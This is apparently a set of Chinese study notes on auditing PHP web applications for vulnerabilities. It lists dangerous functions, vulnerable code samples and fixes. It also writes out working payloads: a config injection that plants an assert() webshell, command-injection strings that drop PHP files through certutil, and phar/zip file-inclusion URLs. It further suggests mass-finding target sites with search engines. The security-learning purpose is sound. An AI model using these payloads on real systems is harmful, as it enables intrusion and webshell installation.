代码审计
代码审计环境搭建
准备编辑器和phpstudy+源代码审计工具(Seay代码审计系统)
代码审计流程
获取源码方法
- CMS官网下载
- 开源cms通过github | gitee下载
- 源码之家
- 扫网站备份文件(目标网站不存在则利用文件特征、前端代码特征组合空间搜索引擎批量获取有该特征的网站)
- 搜索源码截图中特征代码(github)
- 某宝、某鱼
安装网站源码
利用phpstudy安装源码,开始访问了解网站大体结构
掌握网站基本信息
把握大局,掌握网站结构信息以及相关配置。
- 查看网站结构:浏览源码文件夹,了解该程序的大致目录
- 查找程序入口:index.php、admin.php文件一般是整个程序的入口,详细读一下index文件可以知道程序的架构、运行流程、包含那些配置文件,包含哪些过滤文件以及包含那些安全过滤文件,了解程序的业务逻辑。
- 寻找配置文:一般类似config.php等文件,保存一些数据库相关信息、程序的一些信息。首先查看数据库编码,如果是gbk则可能存在宽字节注入。如果变量的值用双引号,则可能存在双引号解析代码执行的问题。
- 过滤功能:通过公共函数文件和安全过滤文件等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在被过滤的位置,如何过滤的,能否绕过过滤的数据。过滤的方式是替换还是正则?有没有GPC?有没有使用addslasher()处理?
代码审计方法
通读代码
通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成干上万行,通读代码效率过于低下。但是该方法也是一种必要的方法。了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
1.查看应用文件结构→2.查看关键文件代码→3.查看配置文件→4.读首页文件→5.根据入口文件,对各个功能进行审计
- 查看应用文件结构
- 查看关键文件代码
- 查看相关配置文件
- 通读入口文件,根据入口文件,对各个功能进行审计
敏感函数参数回溯
根据敏感函数来逆向追踪参数的传递过程,是目前使用最多的一种方式,因为大多数漏洞是由于函数的使用不当造成的。只要找到这样的一些使用不当的函数,就可以快速挖掘想要的漏洞。
优缺点:
优点:只需搜索相应敏感关键字,即可快速挖掘想要的漏洞,可定向挖掘,高效、高质量
缺点:由于没有通读代码,对程序整体架构了解不够深入,在挖掘漏洞时定位利用会花点时间,另外对逻辑漏洞挖掘覆盖不到。
使用方法:
Seay源代码审计软件,主要是利用正则匹配一些高危函数、关键函数以及敏感关键字。然后,就可以分析判断敏感函数的上下文,追踪参数源头。尝试控制可控的参数变量。
关键字查找:
- SQL注入漏洞:跟数据库交互的任何位置
select|update|insert|delete
- XSS漏洞:输入未过滤直接输出到前端也页面
echolprint|print_rlprintf|die|exit|var_dump
- 文件上传:
move_uploaded_file
- 文件包含:
include|include_once|require|require_once
- 代码执行:
eval|assert|preg_replace|array_map|array_filter|call_user_func|call_user_func_array
- 命令执行:
system | passthru | exec | shell _ exec | popen | 反引号
- XXE(XML外部实体注入):
simplexml_load_string|simplexml_import_dom|simplexml_load_file
- SSRF(服务端请求伪造):
定向功能分析法
该方法主要是根据程序的业务逻辑进行审计的。首先是用浏览器逐个访问浏览,看看这套程序有哪些功能。根据相关功能,大概检测可能存在的漏洞。
常见功能漏洞:
程序初始安装、登陆认证、数据库备份恢复、站点信息泄漏、找回密码、文件上传、验证码、文件管理
覆盖/重复安装漏洞审计
常见cms重装漏洞
- 无验证功能,任意重装覆盖
$_GET['step']
跳过限制步骤- 变量覆盖导致重装
- 判断lock后跳转无exit
- 解析install.php.bak漏洞
- 其他特定功能绕过漏洞(满足可能的条件)
例如:install.php
if(file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
header("Location:../index.php");
//判断/sys/install.lock是否存在后直接跳转../index.php后未退出,导致重装漏洞。
//正常应使用exit();
}
require_once'../header.php';
例如:payload
dbhost=localhost&dbuser=root&dbpass=root&dbname=abced#";assert($_REQUEST[1]);
//dbhost=192.168.172.130&dbuser=root&dbpass=root&dbname=abced#";assert($_REQUEST[1]);
//dbhost=192.168.172.130&dbuser=root&dbpass=root&dbname=abced--+";assert($_REQUEST[1]);//
命令执行漏洞审计
PHP命令注入则是由于Web应用程序对用户提交的数据过滤不严格,导致攻击者可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等
相关函数
system()、exec()、passthru()、shell_exec()、popen()、proc_open()、pcntl_exec()、反引号
这些函数可以分为3类:
- 第一类(常见):system()、exec()、shell_exec()、passthru() : 可以直接传入命令执行并返回结果
- 第二类:popen()、proc_open() :使用这类函数传入命令时,命令会执行,但不会返回执行结果
- 第三类:pcntl_exec() :需要开启pcntl扩展
源码例如:ping.php
<?php
if( isset( $_POST[ 'submit' ] ) ) { //通过isset函数判断是否为POST提交过来的值
$target = $_POST[ 'target' ]; //将POST过来的值传递给target变量,但是没有经过任何的过滤
if (stristr(php_uname(‘s’), ‘Windows NT’)) { //判断是不是windows系统
$cmd = 'ping ' . $target; //是windows系统,进行进行ping操作
} else {
$cmd = 'ping -c 3 ' . $target; //不是windows系统 进行ping –c 3 操作
}
$res = shell_exec($cmd); } ?>//最后使用shell_exec执行cmd
payload(windows):
1&echo ^<?=phpinfo();?>^ > ../phpinfo.php
1&echo PD89cGhwaW5mbygpOz8+ > 1.txt & certutil -decode ../1.txt ../123.php
XSS漏洞审计
XSS(跨站脚本攻击)漏洞原理
对用户输入的内容未进行过滤就直接输出到前端浏览器执行。导致的前端is代码执行。
XSS漏洞相关函数
输出函数(echo、print、pintff、var_dump、die、exit、print_r
)
漏洞类型
反射型XSS:非持久化,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码
存储型XSS:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方
DOM型XSS:dom文档对象模型的一种漏洞
审计方式
通过源代码审计工具自动审计,定位存在xss漏洞的文件进行审计。
例如search.php存在反射型XSS
if(!empty($_GET['search'])){
$query="SELECT*FROM comment WHERE comment_text LIKE'%{S_GET['search']}%'";
$data=mysql_query(Squery,Sconn);
?>
<div class="bs-example table-responsive">
<?php echo'The result for ['.$_GET['search'].'] is:'?>
漏洞修复
- 在输入输出的位置添加过滤函数
htmlspecialchars
,该函数对双引号<>
以及一些符号进行html实体化编码 - 在输入的内容时对输出长度进行限制
- 验证针对不同功能处限制输入的内容,比如ping.php只允许输入IP地址
SQL注入漏洞审计
漏洞原理
未对用户输入的内容进行过滤就直接带入数据库执行,导致的任意sq[语句执行漏洞,即为sql注入漏洞。
两个关键条件:用户能控制输入内容,输入的内容被带入到数据库执行
漏洞类型
联合注入,报错注入,布尔盲注,时间盲注,header头注入(ua,cookie,referer,xff,client-ip
),宽字节(gbk %81-%fe
),二次编码注入,二次注入,base64注入,堆叠注入(mysqli_multi_query
)
审计思路
- 观察SQL语句的拼接情况,是否对用户的输入进行处理。
- 找数据库关键字:
select from、mysql connect
等只需要查找这些关键字,即可定向挖掘SQL注入漏洞
审计SQL注入漏洞建议正向审计,在拿到源码时先找到它的过滤注入函数,判断:
- 如果没有过滤可以直接注入
- 如果调用了
addslashes()、mysql_real_escap_string
函数,无法对字符型注入做绕过,可尝试注入字符型 - 如果设置了
set character_set_client=gbk
开启了gbk连接,就会存在宽字节注入
文件包含漏洞审计
例如index.php存在文件包含漏洞,关键代码如下:
if (isset($_GET['module'])){
include($_GET['module'].'.inc');
组合文件上传及利用伪协议绕过后缀限制,示例payload:
http://192.168.172.160/index.php?module=phar://uploads/u_1666162420_1.jpg/1
http://192.168.172.160/index.php?module=zip://uploads/u_1666162420_1.jpg%231
任意文件读取漏洞审计
文件读取函数:file_get_contents(),highlight_file(),show_source(),fopen(),readfile(),fread(),fgletss(),fgets(),parse_ini_file(),show_source(),file()
文件删除函数:unlink()
文件写入函数:file_put_contents()、fwrite()、fputs()
文件创建函数:file_put_contents,fwrite(),fputs(),fputcsv(),fopen('w','a')
总结
- 不管是什么程序都要把握大局,了解它的大致结构,再决定是否通读全文。
- 根据定向功能分析法对每一项功能进行审计,可以根据网站的架构使用不同的方法进行分析,三者结合起来效果最佳。
- 最后,可以将敏感函数回溯,发现漏洞的起源地。